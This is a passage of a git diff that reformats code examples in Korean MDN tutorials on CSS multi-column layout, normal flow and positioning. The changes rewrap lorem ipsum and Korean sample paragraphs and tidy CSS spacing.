+    Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus
+    sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus.
+    Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis,
+    eget fermentum sapien.
+  </p>
+
+  <p>
+    Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada
+    ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed
+    est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus
+    tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies
+    lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis
+    vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque
+    penatibus et magnis dis parturient montes, nascetur ridiculus mus.
+  </p>
 </div>
 ```
 
@@ -96,7 +110,10 @@ body {
   width: 90%;
   max-width: 900px;
   margin: 2em auto;
-  font: .9em/1.2 Arial, Helvetica, sans-serif;
+  font:
+    0.9em/1.2 Arial,
+    Helvetica,
+    sans-serif;
 }
 ```
 
@@ -104,16 +121,28 @@ body {
 <div class="container">
   <h1>간단한 다단 예제</h1>
 
-  <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate.
-  Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.
-  Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse
-  ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit
-  quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
-
-  <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique
-  elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit
-  cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis
-  dis parturient montes, nascetur ridiculus mus.</p>
+  <p>
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus
+    aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,
+    pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at
+    ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer
+    ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur
+    vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus.
+    Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus
+    sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus.
+    Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis,
+    eget fermentum sapien.
+  </p>
+
+  <p>
+    Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada
+    ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed
+    est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus
+    tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies
+    lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis
+    vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque
+    penatibus et magnis dis parturient montes, nascetur ridiculus mus.
+  </p>
 </div>
 ```
 
@@ -158,12 +187,15 @@ body {
   width: 90%;
   max-width: 900px;
   margin: 2em auto;
-  font: .9em/1.2 Arial, Helvetica, sans-serif;
+  font:
+    0.9em/1.2 Arial,
+    Helvetica,
+    sans-serif;
 }
 .container {
- column-count: 3;
- column-gap: 20px;
- column-rule: 4px dotted rgb(79, 185, 227);
+  column-count: 3;
+  column-gap: 20px;
+  column-rule: 4px dotted rgb(79, 185, 227);
 }
 ```
 
@@ -171,16 +203,28 @@ body {
 <div class="container">
   <h1>간단한 다단 예제</h1>
 
-  <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate.
-  Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.
-  Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse
-  ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit
-  quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
-
-  <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique
-  elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit
-  cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis
-  dis parturient montes, nascetur ridiculus mus.</p>
+  <p>
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus
+    aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,
+    pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at
+    ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer
+    ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur
+    vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus.
+    Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus
+    sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus.
+    Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis,
+    eget fermentum sapien.
+  </p>
+
+  <p>
+    Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada
+    ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed
+    est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus
+    tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies
+    lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis
+    vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque
+    penatibus et magnis dis parturient montes, nascetur ridiculus mus.
+  </p>
 </div>
 ```
 
@@ -199,7 +243,10 @@ body {
   width: 90%;
   max-width: 900px;
   margin: 2em auto;
-  font: .9em/1.2 Arial, Helvetica, sans-serif;
+  font:
+    0.9em/1.2 Arial,
+    Helvetica,
+    sans-serif;
 }
 ```
 
@@ -207,59 +254,79 @@ body {
 <div class="container">
   <div class="card">
     <h2>나는 머리글이다.</h2>
-    <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
-                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
-                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
-                vel, viverra egestas ligula.</p>
-    </div>
-
-    <div class="card">
-      <h2>나는 머리글이다.</h2>
-      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
-                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
-                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
-                vel, viverra egestas ligula.</p>
-    </div>
-
-    <div class="card">
-      <h2>나는 머리글이다.</h2>
-      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
-                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
-                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
-                vel, viverra egestas ligula.</p>
-    </div>
-    <div class="card">
-      <h2>나는 머리글이다.</h2>
-      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
-                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
-                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
-                vel, viverra egestas ligula.</p>
-    </div>
-
-    <div class="card">
-      <h2>나는 머리글이다.</h2>
-      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
-                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
-                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
-                vel, viverra egestas ligula.</p>
-    </div>
-
-    <div class="card">
-      <h2>나는 머리글이다.</h2>
-      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
-                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
-                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
-                vel, viverra egestas ligula.</p>
-    </div>
-
-    <div class="card">
-      <h2>나는 머리글이다.</h2>
-      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
-                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
-                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
-                vel, viverra egestas ligula.</p>
-    </div>
+    <p>
+      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus
+      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,
+      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,
+      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.
+      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.
+    </p>
+  </div>
+
+  <div class="card">
+    <h2>나는 머리글이다.</h2>
+    <p>
+      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus
+      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,
+      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,
+      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.
+      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.
+    </p>
+  </div>
+
+  <div class="card">
+    <h2>나는 머리글이다.</h2>
+    <p>
+      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus
+      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,
+      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,
+      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.
+      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.
+    </p>
+  </div>
+  <div class="card">
+    <h2>나는 머리글이다.</h2>
+    <p>
+      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus
+      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,
+      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,
+      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.
+      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.
+    </p>
+  </div>
+
+  <div class="card">
+    <h2>나는 머리글이다.</h2>
+    <p>
+      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus
+      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,
+      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,
+      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.
+      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.
+    </p>
+  </div>
+
+  <div class="card">
+    <h2>나는 머리글이다.</h2>
+    <p>
+      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus
+      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,
+      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,
+      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.
+      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.
+    </p>
+  </div>
 
+  <div class="card">
+    <h2>나는 머리글이다.</h2>
+    <p>
+      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus
+      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,
+      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,
+      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.
+      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.
+    </p>
+  </div>
 </div>
 ```
 
@@ -287,8 +354,8 @@ body {
 .card {
   break-inside: avoid;
   page-break-inside: avoid;
-  background-color: rgb(207,232,220);
-  border: 2px solid rgb(79,185,227);
+  background-color: rgb(207, 232, 220);
+  border: 2px solid rgb(79, 185, 227);
   padding: 10px;
   margin: 0 0 1em 0;
 }
@@ -301,7 +368,10 @@ body {
   width: 90%;
   max-width: 900px;
   margin: 2em auto;
-  font: .9em/1.2 Arial, Helvetica, sans-serif;
+  font:
+    0.9em/1.2 Arial,
+    Helvetica,
+    sans-serif;
 }
 ```
 
@@ -309,59 +379,79 @@ body {
 <div class="container">
   <div class="card">
     <h2>나는 머리글이다.</h2>
-    <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
-                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
-                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
-                vel, viverra egestas ligula.</p>
-    </div>
-
-    <div class="card">
-      <h2>나는 머리글이다.</h2>
-      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
-                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
-                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
-                vel, viverra egestas ligula.</p>
-    </div>
-
-    <div class="card">
-      <h2>나는 머리글이다.</h2>
-      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
-                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
-                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
-                vel, viverra egestas ligula.</p>
-    </div>
-    <div class="card">
-      <h2>나는 머리글이다.</h2>
-      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
-                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
-                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
-                vel, viverra egestas ligula.</p>
-    </div>
-
-    <div class="card">
-      <h2>나는 머리글이다.</h2>
-      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
-                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
-                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
-                vel, viverra egestas ligula.</p>
-    </div>
-
-    <div class="card">
-      <h2>나는 머리글이다.</h2>
-      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
-                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
-                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
-                vel, viverra egestas ligula.</p>
-    </div>
-
-    <div class="card">
-      <h2>나는 머리글이다.</h2>
-      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
-                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
-                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
-                vel, viverra egestas ligula.</p>
-    </div>
+    <p>
+      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus
+      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,
+      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,
+      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.
+      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.
+    </p>
+  </div>
+
+  <div class="card">
+    <h2>나는 머리글이다.</h2>
+    <p>
+      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus
+      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,
+      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,
+      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.
+      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.
+    </p>
+  </div>
+
+  <div class="card">
+    <h2>나는 머리글이다.</h2>
+    <p>
+      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus
+      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,
+      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,
+      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.
+      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.
+    </p>
+  </div>
+  <div class="card">
+    <h2>나는 머리글이다.</h2>
+    <p>
+      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus
+      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,
+      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,
+      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.
+      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.
+    </p>
+  </div>
+
+  <div class="card">
+    <h2>나는 머리글이다.</h2>
+    <p>
+      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus
+      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,
+      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,
+      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.
+      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.
+    </p>
+  </div>
 
+  <div class="card">
+    <h2>나는 머리글이다.</h2>
+    <p>
+      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus
+      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,
+      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,
+      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.
+      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.
+    </p>
+  </div>
+
+  <div class="card">
+    <h2>나는 머리글이다.</h2>
+    <p>
+      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus
+      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,
+      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,
+      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.
+      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.
+    </p>
+  </div>
 </div>
 ```
 
diff --git a/files/ko/learn/css/css_layout/normal_flow/index.md b/files/ko/learn/css/css_layout/normal_flow/index.md
index 69155cfd15629d..df398031a245b4 100644
--- a/files/ko/learn/css/css_layout/normal_flow/index.md
+++ b/files/ko/learn/css/css_layout/normal_flow/index.md
@@ -54,13 +54,32 @@ original_slug: Learn/CSS/CSS_layout/일반_흐름
 ```html
 <h1>기본 문서 flow</h1>
 
-<p>나는 기본 볼록 수준 요소입니다. 나와 인접한 블록 수준 요소는 내 아래 새 줄에 자리합니다.</p>
-
-<p>기본값으로 우리는 우리 부모 요소의 너비 100%를 넘나들며, 우리 자녀 콘텐츠의 최대 높이를 취합니다. 우리의 총 너비와 총 높이는 우리의 콘텐츠 + 패딩 + 테두리 너비 및 높이입니다.</p>
-
-<p>우리는 여백으로 구분됩니다. 여백 축소로 때문에 우리의 여백 중의 하나의 너비로 구분됩니다. 두게의 여백이 아니라.</p>
-
-<p>인라인 요소 <span>이 것과 같은</span> 그리고 <span>이것이</span> 차례로 같은 라인에, 그리고 같은 라인에 공간이 있을 경우 인접한 텍스트 노드에 자리를 잡게 됩니다. 인라인 요소가 오버플로할 경우 <span>(이 경우와 같이 텍스트를 포함했을 경우) 가능하면 새 줄로 접혀들어갑니다.)</span>, 그렇지 않으면 새로운 라인으로 계속 진행할 것입니다. 이 이미지가 하는 것처럼: <img src="long.jpg"></p>
+<p>
+  나는 기본 볼록 수준 요소입니다. 나와 인접한 블록 수준 요소는 내 아래 새 줄에
+  자리합니다.
+</p>
+
+<p>
+  기본값으로 우리는 우리 부모 요소의 너비 100%를 넘나들며, 우리 자녀 콘텐츠의
+  최대 높이를 취합니다. 우리의 총 너비와 총 높이는 우리의 콘텐츠 + 패딩 + 테두리
+  너비 및 높이입니다.
+</p>
+
+<p>
+  우리는 여백으로 구분됩니다. 여백 축소로 때문에 우리의 여백 중의 하나의 너비로
+  구분됩니다. 두게의 여백이 아니라.
+</p>
+
+<p>
+  인라인 요소 <span>이 것과 같은</span> 그리고 <span>이것이</span> 차례로 같은
+  라인에, 그리고 같은 라인에 공간이 있을 경우 인접한 텍스트 노드에 자리를 잡게
+  됩니다. 인라인 요소가 오버플로할 경우
+  <span
+    >(이 경우와 같이 텍스트를 포함했을 경우) 가능하면 새 줄로
+    접혀들어갑니다.)</span
+  >, 그렇지 않으면 새로운 라인으로 계속 진행할 것입니다. 이 이미지가 하는
+  것처럼: <img src="long.jpg" />
+</p>
 ```
 
 ```css
@@ -70,8 +89,8 @@ body {
 }
 
 p {
-  background: rgba(255,84,104,0.3);
-  border: 2px solid rgb(255,84,104);
+  background: rgba(255, 84, 104, 0.3);
+  border: 2px solid rgb(255, 84, 104);
   padding: 10px;
   margin: 10px;
 }
diff --git a/files/ko/learn/css/css_layout/positioning/index.md b/files/ko/learn/css/css_layout/positioning/index.md
index e9d5941d32e98b..a9b630731c063c 100644
--- a/files/ko/learn/css/css_layout/positioning/index.md
+++ b/files/ko/learn/css/css_layout/positioning/index.md
@@ -43,7 +43,7 @@ HTML 요소에 적용될 수 있는 여러 가지 유형의 위치잡기가 존
 이를 입증한다거나, 이어질 섹션에서 다룰 예제를 설정하려면 먼저 HTML상에 두 번째 {{htmlelement("p")}} 요소에 `positioned`라는 클래스를 추가하십시오:
 
 ```html
-<p class="positioned"> ... </p>
+<p class="positioned">...</p>
 ```
 
 이제 다음과 같은 규칙을 당신의 CSS 하단에 추가하십시요:
@@ -85,13 +85,31 @@ left: 30px;
 ```html hidden
 <h1>상대 위치잡기</h1>
 
-<p>나는 기본 볼록 수준 요소입니다. 나와 인접한 블록 수준 요소는 내 아래 새 줄에 자리합니다.</p>
-
-<p class="positioned">기본적으로 우리는 부모 요소의 너비 100%에 걸쳐 있습니다. 우리의 총 너비와 총 높이는 우리의 콘텐츠 + 패딩 + 테두리 너비 및 높이입니다.</p>
-
-<p>우리는 여백으로 구분됩니다. 여백 축소로 때문에 우리의 여백 중의 하나의 너비로 구분됩니다. 두게의 여백이 아니라.</p>
-
-<p>인라인 요소 <span>이 것과 같은</span> 그리고 <span>이것이</span> 차례로 같은 라인에, 그리고 같은 라인에 공간이 있을 경우 인접한 텍스트 노드에 자리를 잡게 됩니다. 인라인 요소가 대열이탈할 경우 <span>(이 경우와 같이 텍스트를 포함했을 경우) 가능하면 새 줄로 접혀들어갑니다.)</span>, 그렇지 않으면 새로운 라인으로 계속 진행할 것입니다. 이 이미지가 하는 것처럼: <img src="long.jpg"></p>
+<p>
+  나는 기본 볼록 수준 요소입니다. 나와 인접한 블록 수준 요소는 내 아래 새 줄에
+  자리합니다.
+</p>
+
+<p class="positioned">
+  기본적으로 우리는 부모 요소의 너비 100%에 걸쳐 있습니다. 우리의 총 너비와 총
+  높이는 우리의 콘텐츠 + 패딩 + 테두리 너비 및 높이입니다.
+</p>
+
+<p>
+  우리는 여백으로 구분됩니다. 여백 축소로 때문에 우리의 여백 중의 하나의 너비로
+  구분됩니다. 두게의 여백이 아니라.
+</p>
+
+<p>
+  인라인 요소 <span>이 것과 같은</span> 그리고 <span>이것이</span> 차례로 같은
+  라인에, 그리고 같은 라인에 공간이 있을 경우 인접한 텍스트 노드에 자리를 잡게
+  됩니다. 인라인 요소가 대열이탈할 경우
+  <span
+    >(이 경우와 같이 텍스트를 포함했을 경우) 가능하면 새 줄로
+    접혀들어갑니다.)</span
+  >, 그렇지 않으면 새로운 라인으로 계속 진행할 것입니다. 이 이미지가 하는
+  것처럼: <img src="long.jpg" />
+</p>
 ```
 
 ```css hidden
@@ -139,13 +157,31 @@ position: absolute;
 ```html hidden
 <h1>절대 위치잡기</h1>
 
-<p>나는 기본 볼록 수준 요소입니다. 나와 인접한 블록 수준 요소는 내 아래 새 줄에 자리합니다.</p>
-
-<p class="positioned">기본적으로 우리는 부모 요소의 너비 100%에 걸쳐 있습니다. 우리의 총 너비와 총 높이는 우리의 콘텐츠 + 패딩 + 테두리 너비 및 높이입니다.</p>
-
-<p>우리는 여백으로 구분됩니다. 여백 축소로 때문에 우리의 여백 중의 하나의 너비로 구분됩니다. 두게의 여백이 아니라.</p>
-
-<p>인라인 요소 <span>이 것과 같은</span> 그리고 <span>이것이</span> 차례로 같은 라인에, 그리고 같은 라인에 공간이 있을 경우 인접한 텍스트 노드에 자리를 잡게 됩니다. 인라인 요소가 대열이탈할 경우 <span>(이 경우와 같이 텍스트를 포함했을 경우) 가능하면 새 줄로 접혀들어갑니다.)</span>, 그렇지 않으면 새로운 라인으로 계속 진행할 것입니다. 이 이미지가 하는 것처럼: <img src="long.jpg"></p>
+<p>
+  나는 기본 볼록 수준 요소입니다. 나와 인접한 블록 수준 요소는 내 아래 새 줄에
+  자리합니다.
+</p>
+
+<p class="positioned">
+  기본적으로 우리는 부모 요소의 너비 100%에 걸쳐 있습니다. 우리의 총 너비와 총
+  높이는 우리의 콘텐츠 + 패딩 + 테두리 너비 및 높이입니다.
+</p>
+
+<p>
+  우리는 여백으로 구분됩니다. 여백 축소로 때문에 우리의 여백 중의 하나의 너비로
+  구분됩니다. 두게의 여백이 아니라.
+</p>
+
+<p>
+  인라인 요소 <span>이 것과 같은</span> 그리고 <span>이것이</span> 차례로 같은
+  라인에, 그리고 같은 라인에 공간이 있을 경우 인접한 텍스트 노드에 자리를 잡게
+  됩니다. 인라인 요소가 대열이탈할 경우
+  <span
+    >(이 경우와 같이 텍스트를 포함했을 경우) 가능하면 새 줄로
+    접혀들어갑니다.)</span
+  >, 그렇지 않으면 새로운 라인으로 계속 진행할 것입니다. 이 이미지가 하는
+  것처럼: <img src="long.jpg" />
+</p>
 ```
 
 ```css hidden
@@ -203,13 +239,31 @@ position: relative;
 ```html hidden
 <h1>위치잡기 상황</h1>
 
-<p>나는 기본 볼록 수준 요소입니다. 나와 인접한 블록 수준 요소는 내 아래 새 줄에 자리합니다.</p>
-
-<p class="positioned">이제 나는 <code>&lt;html&gt;</code> 요소가 아닌 <code>&lt;body&gt;</code> 요소를 기준으로 비례하여 절대적 위치잡기합니다.</p>
-
-<p>우리는 여백으로 구분됩니다. 여백 축소로 때문에 우리의 여백 중의 하나의 너비로 구분됩니다. 두게의 여백이 아니라.</p>
-
-<p>인라인 요소 <span>이 것과 같은</span> 그리고 <span>이것이</span> 차례로 같은 라인에, 그리고 같은 라인에 공간이 있을 경우 인접한 텍스트 노드에 자리를 잡게 됩니다. 인라인 요소가 대열이탈할 경우 <span>(이 경우와 같이 텍스트를 포함했을 경우) 가능하면 새 줄로 접혀들어갑니다.)</span>, 그렇지 않으면 새로운 라인으로 계속 진행할 것입니다. 이 이미지가 하는 것처럼: <img src="long.jpg"></p>
+<p>
+  나는 기본 볼록 수준 요소입니다. 나와 인접한 블록 수준 요소는 내 아래 새 줄에
+  자리합니다.
+</p>
+
+<p class="positioned">
+  이제 나는 <code>&lt;html&gt;</code> 요소가 아닌
+  <code>&lt;body&gt;</code> 요소를 기준으로 비례하여 절대적 위치잡기합니다.
+</p>
+
+<p>
+  우리는 여백으로 구분됩니다. 여백 축소로 때문에 우리의 여백 중의 하나의 너비로
+  구분됩니다. 두게의 여백이 아니라.
+</p>
+
+<p>
+  인라인 요소 <span>이 것과 같은</span> 그리고 <span>이것이</span> 차례로 같은
+  라인에, 그리고 같은 라인에 공간이 있을 경우 인접한 텍스트 노드에 자리를 잡게
+  됩니다. 인라인 요소가 대열이탈할 경우
+  <span
+    >(이 경우와 같이 텍스트를 포함했을 경우) 가능하면 새 줄로
+    접혀들어갑니다.)</span
+  >, 그렇지 않으면 새로운 라인으로 계속 진행할 것입니다. 이 이미지가 하는
+  것처럼: <img src="long.jpg" />
+</p>
 ```
 
